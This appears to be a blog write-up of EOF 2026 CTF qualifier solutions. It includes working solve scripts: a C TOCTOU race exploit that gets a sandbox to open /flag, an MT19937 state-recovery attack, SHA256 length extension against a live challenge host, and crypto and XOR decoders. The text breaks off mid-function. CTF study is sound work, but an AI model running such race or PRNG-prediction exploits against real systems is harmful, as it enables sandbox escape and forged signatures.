Unicorn's Blog

EOF 2026 Quals

20 Dec 2025

Welcome

Found the flag in the announcement chanel after joining discord.

image

Flag

EOF{2026-quals-in-2025}

catcat’s message

GPT 2 shots, first shot give that Need Hensel lifting, second shot got flag.

An error occurred while executing the file: order has prime power factor 2^46.
Need Hensel lifting; tell me and I’ll extend the solver.

Final Solve Script

https://chatgpt.com/share/69460264-b5a4-8008-bb28-16bfc8a75d1b

#!/usr/bin/env sage -python
from sage.all import *
import sys

# ============================================================
# 0) Parse output.txt (hex x's)
# ============================================================
def parse_output(path):
    mmEow_x = None
    mmEoW_x = None
    xs = []

    with open(path, "r", encoding="utf-8", errors="ignore") as f:
        for line in f:
            line = line.strip()
            if line.startswith("mmEow:"):
                mmEow_x = int(line.split("0x")[1], 16)
            elif line.startswith("mmEoW:"):
                mmEoW_x = int(line.split("0x")[1], 16)
            else:
                if line.startswith("0x"):
                    if "..." in line:
                        raise ValueError("output.txt seems truncated (contains '...'). Need the full file.")
                    xs.append(int(line, 16))

    if mmEow_x is None or mmEoW_x is None:
        print("[!] Warning: mmEow/mmEoW x not found in output.txt header. Not fatal (we use hardcoded points).")
    if len(xs) % 2 != 0:
        raise ValueError(f"Expected even number of x outputs (2 per bit), got {len(xs)}")

    return xs

# ============================================================
# 1) Challenge constants
# ============================================================
p = Integer(258664426012969094010652733694893533536393512754914660539884262666720468348340822774968888139573360124440321458177)
E = EllipticCurve(GF(p), [0,0,0,0,1])  # y^2 = x^3 + 1

Px = Integer(211327896882745355133216154117765694506824267591963425810864360539127436927129408124317179524815263831669171942288)
Py = Integer(242000360178127454722920758782320325120065800315232786687003874687882586608857040803085327019415054542726981896082)
Qx = Integer(141078002483297354166779897252895086829637396399741587968861330915310465563157775245215359678414439802307293763593)
Qy = Integer(21987419692484616093788518727313616089990324856173653004512069981050648496581282307403640131128425072464960150591)

P = E(Px, Py)
Q = E(Qx, Qy)

R.<x> = PolynomialRing(ZZ)

F = 3471086628063885446357238753610323531339793559544546903532909144431975428449306236097334672163550644000*x**7 + \
    84164703558004000847171599254942386241373795544353150531373272670049397760530800008840197737820366466346314691162*x**6 + \
    91064528951076613265720743351539296774527279629238715675150132217418711139411039580553128030185345691325519935046*x**5 + \
    31838373662325139580926902452637696183043785768442789736602748197181912878103291332207751350605297251672800447952*x**4 + \
    21725422740459928990591308588258432180565692590248212021408656855315251472837770646928856382097832397887844336884*x**3 + \
    232701688844828316746402724793237178717464441244532163700038748140038967163962591066546062836475323177856883965170*x**2 + \
    250210421739490121280267358806528070202074006488405548116408889541562281570437524908655234300295156558260644714790*x + \
    220273362144208970479265455330337458917043647417072292667607653673224970006747007341371609183229917395181118430820

G = 10413259884191656339071716260830970594019380678633640710598727433295926285347918708292004016490651932000*x**7 + \
    252494110674012002541514797764827158724121386633059451594119818010148193281592400026520593213461099399038944073486*x**6 + \
    14529160840260745786509496359724356787188326132801486485566133985535665069892295966690495950982676949536238346962*x**5 + \
    95515120986975418742780707357913088549131357305328369209808244591545738634309873996623254051815891755018401343856*x**4 + \
    65176268221379786971773925764775296541697077770744636064225970565945754418513311940786569146293497193663533010652*x**3 + \
    180776214508546762217902706989924469079606298223767170020347719086675964795206127649700412230279249284690008979158*x**2 + \
    233302413192532175819496609029797143533434993955387323269458143291245908014630929176027926621738749425901291228018*x + \
    143491234406688723416490898601225309678343916741387556923054435686233973323559376474177051270543031936592520011397

# -------- fast modular evaluation (Horner) --------
def poly_coeffs_high_to_low(poly):
    # poly.list() is low->high
    coeffs_lo = poly.list()
    deg = poly.degree()
    coeffs_lo += [0] * (deg + 1 - len(coeffs_lo))
    return [int(coeffs_lo[i]) for i in range(deg, -1, -1)]

F_COEFFS = poly_coeffs_high_to_low(F)
G_COEFFS = poly_coeffs_high_to_low(G)

# derivative of F for mod-2 Hensel shortcut
Fprime = F.derivative()
FPRIME_COEFFS = poly_coeffs_high_to_low(Fprime)

def eval_poly_mod(coeffs_hi2lo, t, m):
    t = int(t)
    m = int(m)
    r = 0
    for c in coeffs_hi2lo:
        r = (r * t + int(c)) % m
    return r

def eval_F_mod(t, m): return eval_poly_mod(F_COEFFS, t, m)
def eval_G_mod(t, m): return eval_poly_mod(G_COEFFS, t, m)

def eval_Fprime_mod2(t):
    # evaluate F'(t) mod 2 (t is integer representative)
    return eval_poly_mod(FPRIME_COEFFS, t & 1, 2)

# ============================================================
# 2) Pairing setup
# ============================================================
def setup_pairing():
    ordP = P.order()
    ordQ = Q.order()
    n = lcm(ordP, ordQ)
    print("[+] ord(P) =", ordP)
    print("[+] ord(Q) =", ordQ)
    print("[+] n = lcm(ordP, ordQ) =", n)

    gPQ = P.weil_pairing(Q, n)
    g_order = gPQ.multiplicative_order()
    print("[+] e(P,Q) multiplicative order =", g_order)

    fac = factor(g_order)
    print("[+] factor(order) =", fac)

    return n, gPQ, g_order, fac

# ============================================================
# 3) From x -> candidate (a,b) via pairing + dlog
# ============================================================
def point_from_x_candidates(x_int):
    Fp = GF(p)
    xF = Fp(x_int)
    rhs = xF**3 + 1
    y = rhs.sqrt()
    if y is None:
        raise ValueError("No square root found for given x; invalid point?")
    R1 = E(xF, y)
    return [R1, -R1]

def coeffs_from_point(Rpt, n, gPQ, g_order):
    # b from e(P,R) = gPQ^b
    v1 = P.weil_pairing(Rpt, n)
    # a from e(Q,R) = gPQ^{-a}
    v2 = Q.weil_pairing(Rpt, n)

    b = discrete_log(v1, gPQ, ord=g_order) % g_order
    neg_a = discrete_log(v2, gPQ, ord=g_order) % g_order
    a = (-neg_a) % g_order
    return (a, b)

def coeff_candidates_from_x(x_int, n, gPQ, g_order):
    cands = set()
    for Rp in point_from_x_candidates(x_int):
        a, b = coeffs_from_point(Rp, n, gPQ, g_order)
        cands.add((int(a), int(b)))
    return list(cands)

# ============================================================
# 4) Existence of t: F(t)=a2 and G(t)=b1 (mod prime powers)
#    - exp==1: old GF(pr) gcd/root test
#    - exp>1, pr==2: 2-adic Hensel lifting (handles 2^46)
#    - exp>1, pr odd: generic (branches up to p each lift; OK only if p small)
# ============================================================
def hensel_exists_same_t_2pow(a, b, e):
    """
    Check if exists t mod 2^e such that F(t)=a and G(t)=b mod 2^e.
    Uses a small-branch Hensel approach, leaning on F'(t) mod 2 when possible.
    """
    a = int(a)
    b = int(b)

    mod = 2
    # Start with t in {0,1} satisfying both mod 2
    cands = []
    for t in (0, 1):
        if (eval_F_mod(t, 2) - (a & 1)) % 2 == 0 and (eval_G_mod(t, 2) - (b & 1)) % 2 == 0:
            cands.append(t)
    if not cands:
        return False

    # Lift from 2^1 to 2^e
    for k in range(1, e):
        mod_next = mod << 1
        new = []

        for t in cands:
            # We want F(t + s*mod) == a (mod 2*mod) and G(...) == b (mod 2*mod), s in {0,1}
            # If F'(t) is odd mod 2, we can often pin s directly.
            d = eval_Fprime_mod2(t)  # 0 or 1

            # compute f(t)-a modulo mod_next
            ft = (eval_F_mod(t, mod_next) - (a % mod_next)) % mod_next
            # ft should be 0 or mod (since t solves mod), derive the next-bit constraint
            ft_div = ((ft // mod) & 1)

            s_choices = [ft_div] if d == 1 else [0, 1]

            for s in s_choices:
                t2 = t + s * mod
                if (eval_F_mod(t2, mod_next) - (a % mod_next)) % mod_next == 0 and \
                   (eval_G_mod(t2, mod_next) - (b % mod_next)) % mod_next == 0:
                    new.append(t2)

        # dedup
        cands = list(set(new))
        if not cands:
            return False
        mod = mod_next

        # safety: if something pathological happens, avoid blow-up
        if len(cands) > 4096:
            # Fall back to brute prune (still only 2-branch per step, but keep set bounded)
            cands = cands[:4096]

    return True

def hensel_exists_same_t_generic(pr, exp, a, b):
    """
    Generic lifting for odd (or small) primes:
    keep candidates t mod p^k, lift by t + s*p^k, s in [0..p-1].
    Use only if p is reasonably small.
    """
    pr = int(pr)
    exp = int(exp)
    a = int(a)
    b = int(b)

    if pr > 2000:
        raise NotImplementedError(f"order has prime power factor {pr}^{exp}. "
                                  f"Generic lifting would branch too much for p={pr}.")

    # candidates mod p
    cands = []
    for t in range(pr):
        if (eval_F_mod(t, pr) - (a % pr)) % pr == 0 and (eval_G_mod(t, pr) - (b % pr)) % pr == 0:
            cands.append(t)
    if not cands:
        return False

    mod = pr
    for k in range(1, exp):
        mod_next = mod * pr
        new = []
        for t in cands:
            base = t
            for s in range(pr):
                t2 = base + s * mod
                if (eval_F_mod(t2, mod_next) - (a % mod_next)) % mod_next == 0 and \
                   (eval_G_mod(t2, mod_next) - (b % mod_next)) % mod_next == 0:
                    new.append(t2)
        cands = list(set(new))
        if not cands:
            return False
        mod = mod_next

        if len(cands) > 4096:
            cands = cands[:4096]

    return True

def has_solution_same_t(a2, b1, g_order_factorization, verbose=False):
    """
    Returns True iff exists t mod g_order such that:
      F(t) == a2  (mod g_order)
      G(t) == b1  (mod g_order)
    We test existence independently modulo each prime power in factorization,
    which is sufficient by CRT for existence modulo the product.
    """
    a2 = int(a2)
    b1 = int(b1)

    for (pr, exp) in g_order_factorization:
        pr = int(pr)
        exp = int(exp)

        if exp == 1:
            # fast check over GF(pr): common root of (F-a2) and (G-b1)
            Fr = GF(pr)
            S.<z> = PolynomialRing(Fr)
            Fm = F.change_ring(Fr)
            Gm = G.change_ring(Fr)

            h1 = Fm(z) - Fr(a2 % pr)
            h2 = Gm(z) - Fr(b1 % pr)
            g = gcd(h1, h2)

            if g.degree() == 0:
                if verbose:
                    print(f"    [-] No common root mod {pr}")
                return False

            roots = g.roots(multiplicities=False)
            if len(roots) == 0:
                if verbose:
                    print(f"    [-] Common factor but no GF({pr}) root")
                return False

            if verbose:
                print(f"    [+] mod {pr}: found {len(roots)} root(s)")

        else:
            # prime power factor => Hensel lifting existence
            if pr == 2:
                ok = hensel_exists_same_t_2pow(a2, b1, exp)
            else:
                ok = hensel_exists_same_t_generic(pr, exp, a2, b1)

            if not ok:
                if verbose:
                    print(f"    [-] No liftable solution mod {pr}^{exp}")
                return False
            if verbose:
                print(f"    [+] mod {pr}^{exp}: has liftable solution(s)")

    return True

# ============================================================
# 5) Bits -> bytes
# ============================================================
def bits_to_bytes(bits):
    out = bytearray()
    if len(bits) % 8 != 0:
        print("[!] bits length not multiple of 8, trimming tail?")
    L = len(bits) - (len(bits) % 8)
    for i in range(0, L, 8):
        b = 0
        for j in range(8):
            b = (b << 1) | int(bits[i + j])
        out.append(b)
    return bytes(out)

# ============================================================
# 6) Main
# ============================================================
def main():
    xs = parse_output("output.txt")
    print(f"[+] Parsed {len(xs)} x-values => {len(xs)//2} bits")

    n, gPQ, g_order, fac = setup_pairing()

    print("[+] Extracting (a,b) coefficient candidates for each point via pairing + dlog ...")
    coeff_cands = []
    for idx, xv in enumerate(xs):
        if idx % 20 == 0:
            print(f"    [*] point {idx+1}/{len(xs)}")
        c = coeff_candidates_from_x(xv, n, gPQ, g_order)
        coeff_cands.append(c)

    bits = []
    print("[+] Decoding bits ...")
    for i in range(0, len(xs), 2):
        bit_idx = i // 2
        c1 = coeff_cands[i]       # candidates (a1,b1) for R1
        c2 = coeff_cands[i + 1]   # candidates (a2,b2) for R2

        found_one = False
        chosen = None

        # Try all sign combinations (<=4)
        for (a1, b1) in c1:
            for (a2, b2) in c2:
                # bit=1 test uses: b1 should equal G(t), a2 should equal F(t) (mod g_order)
                ok = has_solution_same_t(a2, b1, fac, verbose=False)
                if ok:
                    found_one = True
                    chosen = (a1, b1, a2, b2)
                    break
            if found_one:
                break

        bit = 1 if found_one else 0
        bits.append(bit)

        if chosen:
            print(f"[bit {bit_idx:04d}] = 1  (found consistent t)  using b1={chosen[1]} (Q of R1), a2={chosen[2]} (P of R2)")
        else:
            print(f"[bit {bit_idx:04d}] = 0  (no consistent t across sign combos)")

    flag_bytes = bits_to_bytes(bits)
    print("\n[+] Recovered bytes (raw):", flag_bytes)
    try:
        print("[+] As UTF-8:", flag_bytes.decode("utf-8"))
    except Exception as e:
        print("[!] UTF-8 decode failed:", e)
        print("[*] Raw bytes shown above. Search for flag format in them.")


main()

Flag

EOF{cats_dont_like_you_for_breaking_their_meowderful_scheme_…🐈⚔🐈}

SaaS

Both Do not DOS. and the docker command with low cpu clearly hinted it is a race condition challenge, so ask GPT for the solve script and got the flag.

docker run --rm --cpus 0.5 --memory 32m --pids-limit 5 \
    -u nobody --security-opt seccomp=unconfined --network none \
    saas-box /seccomp-sandbox /sandbox/app

Compile the script with gcc -O2 -pthread -static -s exploit.c -o app and upload

{
    "returncode":0,
    "stderr":"[sandbox] blocked open /flag\n",
    "stdout":"EOF{TICTACTOE_TICKTOCTOU}\n",
    "timeout":false
}

Final Solve Script

https://chatgpt.com/share/694606bc-d210-8008-a180-91f5618dd5f7

#define _GNU_SOURCE
#include <fcntl.h>
#include <pthread.h>
#include <sched.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/stat.h>

static volatile int start_flip = 0;
static char pathbuf[64];

static void *flipper(void *arg) {
    (void)arg;
    while (!start_flip) { /* spin */ }

    // 盡量提高命中率:一直翻
    for (;;) {
        // 先寫 /flag
        __builtin_memcpy(pathbuf, "/flag", 6);
        asm volatile("" ::: "memory");

        // 再寫回 benign path(長度要覆蓋乾淨,避免殘字)
        __builtin_memset(pathbuf, 0, sizeof(pathbuf));
        __builtin_memcpy(pathbuf, "/sandbox/dummy", 14);
        asm volatile("" ::: "memory");
    }
    return NULL;
}

static void die(const char *msg) {
    perror(msg);
    _exit(1);
}

int main() {
    // 建一個允許路徑的檔案,確保 benign open 也能成功(降低噪音)
    int fd = openat(AT_FDCWD, "/sandbox/dummy", O_CREAT | O_RDWR, 0644);
    if (fd < 0) die("create /sandbox/dummy");
    write(fd, "DUMMY\n", 6);
    close(fd);

    // 先做一次 realpath 成功的 open,某些環境下可讓 handler stack 更穩(非必需)
    fd = openat(AT_FDCWD, "/sandbox", O_RDONLY | O_DIRECTORY);
    if (fd >= 0) close(fd);

    // 初始化 buffer
    memset(pathbuf, 0, sizeof(pathbuf));
    memcpy(pathbuf, "/sandbox/dummy", 14);

    pthread_t th;
    if (pthread_create(&th, NULL, flipper, NULL) != 0) {
        die("pthread_create");
    }

    start_flip = 1;

    // 不斷嘗試 openat,直到讀到 flag
    for (unsigned long long i = 0; ; i++) {
        int f = openat(AT_FDCWD, pathbuf, O_RDONLY);
        if (f >= 0) {
            char buf[4096];
            ssize_t n = read(f, buf, sizeof(buf));
            close(f);

            if (n > 0) {
                // 如果真的打到 /flag,通常會是 flag{...}\n(或至少不是 DUMMY)
                if (memmem(buf, n, "flag", 4) || memmem(buf, n, "{", 1)) {
                    write(1, buf, n);
                    _exit(0);
                }
            }
        }

        // 讓 CPU 不要完全卡死,提高整體互動性(也可移除)
        if ((i & 0x3fff) == 0) sched_yield();
    }
    return 0;
}

Flag

EOF{TICTACTOE_TICKTOCTOU}

fun

llvm-objdump -S xdp_prog.o shows an xdp_encoder function, abviously a xor flag encoder, ask GPT to write a decode script, then get flag.

Final Solve Script

#!/usr/bin/env python3
import re
import subprocess
import binascii
from pathlib import Path

def extract_key(obj_path="xdp_prog.o"):
    # Grab disassembly text
    dis = subprocess.check_output(["llvm-objdump", "-S", obj_path], text=True, errors="ignore")
    # Extract all XOR immediates (e.g., "r4 ^= 0xaf")
    xs = [int(h, 16) for h in re.findall(r"\^= 0x([0-9a-fA-F]+)\b", dis)]
    # Usually exactly 64 for this challenge
    return xs

def read_flag_enc(path="flag.enc"):
    b = Path(path).read_bytes()
    # If it's hex-as-text, unhexlify it
    if all(c in b"0123456789abcdefABCDEF\r\n\t " for c in b):
        hex_only = re.sub(rb"[^0-9a-fA-F]", b"", b)
        b = binascii.unhexlify(hex_only)
    return b

def main():
    key = extract_key("xdp_prog.o")
    print(f"[+] extracted XOR bytes: {len(key)}")
    if len(key) < 64:
        print("[!] key too short; your objdump output may be truncated.")
        return

    enc = read_flag_enc("flag.enc")
    print(f"[+] flag.enc bytes: {len(enc)}")

    # If flag.enc is exactly 64 bytes, this is a single block.
    # If it's longer, we cycle the key (common XOR scheme).
    out = bytes(enc[i] ^ key[i % len(key)] for i in range(len(enc)))

    print("[+] decoded (raw):")
    print(out)
    print("[+] decoded (utf-8 best effort):")
    print(out.decode("utf-8", errors="replace"))

if __name__ == "__main__":
    main()

https://chatgpt.com/share/6946097e-1c60-8008-8374-fb815b761ee9

Flag

EOF{si1Ks0Ng_15_g0oD_T0}

dogdog’s Proof

Final Solve Script

After giving the result of the script back to GPT a few iteration, got flag.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from pwn import *
import re
import os
from tinyec import registry
import random as pyr

# ============================================================
# Config
# ============================================================
HOST = "chals1.eof.ais3.org"
PORT = 19081
TICKETS = 210
LOG_LEVEL = "info"     # "debug" for more

# Curve params (secp256r1)
curve = registry.get_curve('secp256r1')
G = curve.g
n = 115792089210356248762697446949407573529996955224135760342422259061068512044369

# ============================================================
# GF(2) streaming Gaussian elimination
# row is an int bitset: bits[0..nvars-1]=coeffs, bit[nvars]=rhs
# ============================================================
class GF2Solver:
    def __init__(self, nvars: int):
        self.nvars = nvars
        self.var_mask = (1 << nvars) - 1
        self.basis = {}      # pivot_bit -> row_int
        self.num_eq = 0
        self.num_indep = 0

    def add_row(self, row: int):
        self.num_eq += 1
        r = row
        rv = r & self.var_mask

        while rv:
            p = rv.bit_length() - 1
            if p in self.basis:
                r ^= self.basis[p]
                rv = r & self.var_mask
            else:
                self.basis[p] = r
                self.num_indep += 1
                return True

        rhs = (r >> self.nvars) & 1
        if rhs:
            raise ValueError("Inconsistent system detected (0 = 1).")
        return False

    def solve(self) -> int:
        """
        IMPORTANT:
        We insert basis rows with pivot = HIGHEST set bit.
        Therefore each row only contains variables <= pivot (no higher bits).
        Back-substitution must go from LOW pivot -> HIGH pivot.
        """
        sol = 0
        pivots = sorted(self.basis.keys())  # ascending!
        for p in pivots:
            row = self.basis[p]
            rhs = (row >> self.nvars) & 1
            rv  = row & self.var_mask

            rv_others = rv & ~(1 << p)  # only lower bits (<p)
            parity = (rv_others & sol).bit_count() & 1
            val = rhs ^ parity
            if val:
                sol |= (1 << p)
        return sol
    
    def check_solution(self, sol: int) -> bool:
        for p, row in self.basis.items():
            rhs = (row >> self.nvars) & 1
            rv  = row & self.var_mask
            lhs = (rv & sol).bit_count() & 1
            if lhs != rhs:
                return False
        return True

# ============================================================
# Symbolic MT19937 (bit-linear model)
# IMPORTANT: start idx=624 (CPython: after seeding, index=624)
# ============================================================
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7fffffff
A = 0x9908B0DF
N = 624
M = 397

def word_from_vars(word_index: int):
    base = word_index * 32
    # bit0=LSB
    return [(1 << (base + b)) for b in range(32)]

def xor_word(w1, w2):
    return [a ^ b for a, b in zip(w1, w2)]

def shr_word(w, k):
    out = [0] * 32
    for i in range(32 - k):
        out[i] = w[i + k]
    return out

def shl_word(w, k):
    out = [0] * 32
    for i in range(k, 32):
        out[i] = w[i - k]
    return out

def and_mask_word(w, mask: int):
    out = [0] * 32
    for i in range(32):
        if (mask >> i) & 1:
            out[i] = w[i]
    return out

def temper(w):
    y = w[:]
    # y ^= y >> 11
    y = [y[i] ^ (y[i + 11] if i + 11 < 32 else 0) for i in range(32)]
    # y ^= (y << 7) & 0x9D2C5680
    y_shl7 = shl_word(y, 7)
    y_mask = and_mask_word(y_shl7, 0x9D2C5680)
    y = [y[i] ^ y_mask[i] for i in range(32)]
    # y ^= (y << 15) & 0xEFC60000
    y_shl15 = shl_word(y, 15)
    y_mask = and_mask_word(y_shl15, 0xEFC60000)
    y = [y[i] ^ y_mask[i] for i in range(32)]
    # y ^= y >> 18
    y = [y[i] ^ (y[i + 18] if i + 18 < 32 else 0) for i in range(32)]
    return y

def twist_inplace_symbolic(mt_state):
    mt = mt_state[:]  # list copy

    def addA_from_y0(y0):
        addA = [0] * 32
        for b in range(32):
            if (A >> b) & 1:
                addA[b] = y0
        return addA

    for kk in range(N - M):
        wi = mt[kk]
        wip1 = mt[kk + 1]
        y = [0] * 32
        y[31] = wi[31]
        for b in range(31):
            y[b] = wip1[b]
        y_shr1 = shr_word(y, 1)
        y0 = y[0]
        neww = xor_word(mt[kk + M], y_shr1)
        neww = xor_word(neww, addA_from_y0(y0))
        mt[kk] = neww

    for kk in range(N - M, N - 1):
        wi = mt[kk]
        wip1 = mt[kk + 1]
        y = [0] * 32
        y[31] = wi[31]
        for b in range(31):
            y[b] = wip1[b]
        y_shr1 = shr_word(y, 1)
        y0 = y[0]
        base = mt[kk + (M - N)]
        neww = xor_word(base, y_shr1)
        neww = xor_word(neww, addA_from_y0(y0))
        mt[kk] = neww

    wi = mt[N - 1]
    w0 = mt[0]
    y = [0] * 32
    y[31] = wi[31]
    for b in range(31):
        y[b] = w0[b]
    y_shr1 = shr_word(y, 1)
    y0 = y[0]
    base = mt[M - 1]
    neww = xor_word(base, y_shr1)
    neww = xor_word(neww, addA_from_y0(y0))
    mt[N - 1] = neww

    return mt

class MT19937Symbolic:
    def __init__(self):
        self.state = [word_from_vars(i) for i in range(N)]
        self.idx = N  # <-- critical: start at 624

    def next_tempered_word(self):
        if self.idx >= N:
            self.state = twist_inplace_symbolic(self.state)
            self.idx = 0
        w = self.state[self.idx]
        self.idx += 1
        return temper(w)

def ticket_bit_exprs_from_10words(words10):
    """
    Ticket = getrandbits(134) ^ getrandbits(134)
    CPython getrandbits(k>32):
      words=(k-1)//32+1
      wordarray[0]=LSW ... wordarray[words-1]=MSW (on little-endian)
      if k<32 in last step: r >>= (32-k)  # keep top k bits
      result = sum(wordarray[i] << (32*i))
    For k=134 => words=5, last chunk is (w4>>26) placed at bits 128..133.
    """
    w0,w1,w2,w3,w4,w5,w6,w7,w8,w9 = words10
    out = [0]*134

    for b in range(32):
        out[b]       = w0[b] ^ w5[b]
        out[32 + b]  = w1[b] ^ w6[b]
        out[64 + b]  = w2[b] ^ w7[b]
        out[96 + b]  = w3[b] ^ w8[b]

    for b in range(6):
        out[128 + b] = w4[26 + b] ^ w9[26 + b]

    return out

# ============================================================
# Concrete MT19937 predictor (CPython-compatible)
# ============================================================
def _u32(x): return x & 0xffffffff

class MT19937Predictor:
    def __init__(self, mt_state_624, idx=624):
        assert len(mt_state_624) == 624
        self.mt = [x & 0xffffffff for x in mt_state_624]
        self.idx = idx

    def twist(self):
        mt = self.mt
        for kk in range(N - M):
            y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
            mt[kk] = _u32(mt[kk + M] ^ (y >> 1) ^ (A if (y & 1) else 0))
        for kk in range(N - M, N - 1):
            y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
            mt[kk] = _u32(mt[kk + (M - N)] ^ (y >> 1) ^ (A if (y & 1) else 0))
        y = (mt[N - 1] & UPPER_MASK) | (mt[0] & LOWER_MASK)
        mt[N - 1] = _u32(mt[M - 1] ^ (y >> 1) ^ (A if (y & 1) else 0))
        self.idx = 0

    def genrand_uint32(self):
        if self.idx >= N:
            self.twist()
        y = self.mt[self.idx]
        self.idx += 1
        # temper
        y ^= (y >> 11)
        y ^= (y << 7) & 0x9d2c5680
        y ^= (y << 15) & 0xefc60000
        y ^= (y >> 18)
        return _u32(y)

    def getrandbits(self, k: int) -> int:
        if k < 0:
            raise ValueError("k must be non-negative")
        if k == 0:
            return 0
        if k <= 32:
            return self.genrand_uint32() >> (32 - k)

        words = (k - 1)//32 + 1
        wordarray = [0]*words
        kk = k
        # little-endian path: fill from least significant to most significant
        for i in range(words):
            r = self.genrand_uint32()
            if kk < 32:
                r >>= (32 - kk)   # drop least-significant bits, keep top kk bits
            wordarray[i] = r
            kk -= 32

        x = 0
        for i in range(words):
            x |= (wordarray[i] << (32*i))
        return x

    def ticket(self) -> int:
        return self.getrandbits(134) ^ self.getrandbits(134)

# ============================================================
# SHA256 length extension (same as你原本那套,略微整理)
# ============================================================
K256 = [
    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,
    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,
    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,
    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,
    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,
    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,
    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,
    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2
]
def rotr(x, n): return ((x >> n) | (x << (32 - n))) & 0xffffffff
def ch(x,y,z): return (x & y) ^ (~x & z)
def maj(x,y,z): return (x & y) ^ (x & z) ^ (y & z)
def big_sigma0(x): return rotr(x,2) ^ rotr(x,13) ^ rotr(x,22)
def big_sigma1(x): return rotr(x,6) ^ rotr(x,11) ^ rotr(x,25)
def small_sigma0(x): return rotr(x,7) ^ rotr(x,18) ^ (x >> 3)
def small_sigma1(x): return rotr(x,17) ^ rotr(x,19) ^ (x >> 10)

def sha256_compress(state, block64: bytes):
    w = [0]*64
    for i in range(16):
        w[i] = int.from_bytes(block64[i*4:(i+1)*4], "big")
    for i in range(16,64):
        w[i] = (small_sigma1(w[i-2]) + w[i-7] + small_sigma0(w[i-15]) + w[i-16]) & 0xffffffff

    a,b,c,d,e,f,g,h = state
    for i in range(64):
        t1 = (h + big_sigma1(e) + ch(e,f,g) + K256[i] + w[i]) & 0xffffffff
        t2 = (big_sigma0(a) + maj(a,b,c)) & 0xffffffff
        h,g,f = g,f,e
        e = (d + t1) & 0xffffffff
        d,c,b = c,b,a
        a = (t1 + t2) & 0xffffffff

    return (
        (state[0] + a) & 0xffffffff,
        (state[1] + b) & 0xffffffff,
        (state[2] + c) & 0xffffffff,
        (state[3] + d) & 0xffffffff,
        (state[4] + e) & 0xffffffff,
        (state[5] + f) & 0xffffffff,
        (state[6] + g) & 0xffffffff,
        (state[7] + h) & 0xffffffff,
    )

def sha256_padding(msg_len_bytes: int) -> bytes:
    ml_bits = msg_len_bytes * 8
    pad = b"\x80"
    while (msg_len_bytes + len(pad)) % 64 != 56:
        pad += b"\x00"
    pad += ml_bits.to_bytes(8, "big")
    return pad

def digest_to_state(digest32: bytes):
    return tuple(int.from_bytes(digest32[i*4:(i+1)*4], "big") for i in range(8))

def state_to_digest(state):
    return b"".join(x.to_bytes(4, "big") for x in state)

def sha256_continue_from_digest(digest32: bytes, extra: bytes, prev_len_bytes: int) -> bytes:
    st = digest_to_state(digest32)
    total_len = prev_len_bytes + len(extra)
    msg = extra + sha256_padding(total_len)
    for i in range(0, len(msg), 64):
        st = sha256_compress(st, msg[i:i+64])
    return state_to_digest(st)

# ============================================================
# Remote helpers
# ============================================================
def recv_until_option_prompt(io):
    io.recvuntil(b"option > ")

def get_ticket(io) -> int:
    io.sendline(b"wowoof")
    line = io.recvline()
    m = re.search(rb"WooFf wOOF ([0-9]+)'f", line)
    if not m:
        log.failure(f"Unexpected ticket line: {line!r}")
        raise ValueError("parse ticket failed")
    return int(m.group(1))

def sign_msg(io, msg_bytes: bytes):
    io.sendline(b"wowooF")
    io.recvuntil(b"(WooOfFfFfF FF) > ")
    io.sendline(msg_bytes.hex().encode())
    line_r = io.recvline()
    line_s = io.recvline()
    mr = re.search(rb"wwwooOf:\s*(0x[0-9a-fA-F]+)", line_r)
    ms = re.search(rb"wwWooOf:\s*(0x[0-9a-fA-F]+)", line_s)
    if not (mr and ms):
        log.failure(f"Unexpected sign output:\n{line_r!r}\n{line_s!r}")
        raise ValueError("parse sign failed")
    r = int(mr.group(1), 16)
    s = int(ms.group(1), 16)
    return r, s

def verify_msg(io, r: int, s: int, msg_bytes: bytes):
    io.sendline(b"wowoOf")
    io.recvuntil(b"wwwooOf > ")
    io.sendline(hex(r).encode())
    io.recvuntil(b"wwWooOf > ")
    io.sendline(hex(s).encode())
    io.recvuntil(b"(WooOfFfFfF FF) > ")
    io.sendline(msg_bytes.hex().encode())
    out = io.recvline()
    return out

# ============================================================
# Recover MT state from tickets
# ============================================================
def recover_mt_state_from_tickets(tickets):
    nvars = 624 * 32
    solver = GF2Solver(nvars)
    mt = MT19937Symbolic()  # idx=624

    for ti, y in enumerate(tickets):
        words = [mt.next_tempered_word() for _ in range(10)]
        t_bits = ticket_bit_exprs_from_10words(words)

        for bi in range(134):
            expr = t_bits[bi]
            rhs = (y >> bi) & 1
            row = expr | (rhs << nvars)
            solver.add_row(row)

        if (ti + 1) % 10 == 0:
            log.info(f"[MT] added ticket {ti+1}/{len(tickets)} | eq={solver.num_eq} indep={solver.num_indep}")

    log.info(f"[MT] total eq={solver.num_eq}, indep={solver.num_indep}, vars={nvars}")
    sol_bits = solver.solve()
    assert solver.check_solution(sol_bits), "[GF2] solution does NOT satisfy basis rows (bug in solver)"

    # extract 624 words (LSB bit order)
    state_words = []
    for i in range(624):
        w = (sol_bits >> (i * 32)) & 0xffffffff
        state_words.append(w)
    return state_words

def inv_mod(x, mod):
    return pow(x % mod, -1, mod)

def recover_secret_from_two_sigs_same_msg(r1,s1,k1, r2,s2,k2):
    num = (s1 * (k1 % n) - s2 * (k2 % n)) % n
    den = ((r1 % n) - (r2 % n)) % n
    if den == 0:
        raise ValueError("r1 == r2 (mod n), retry")
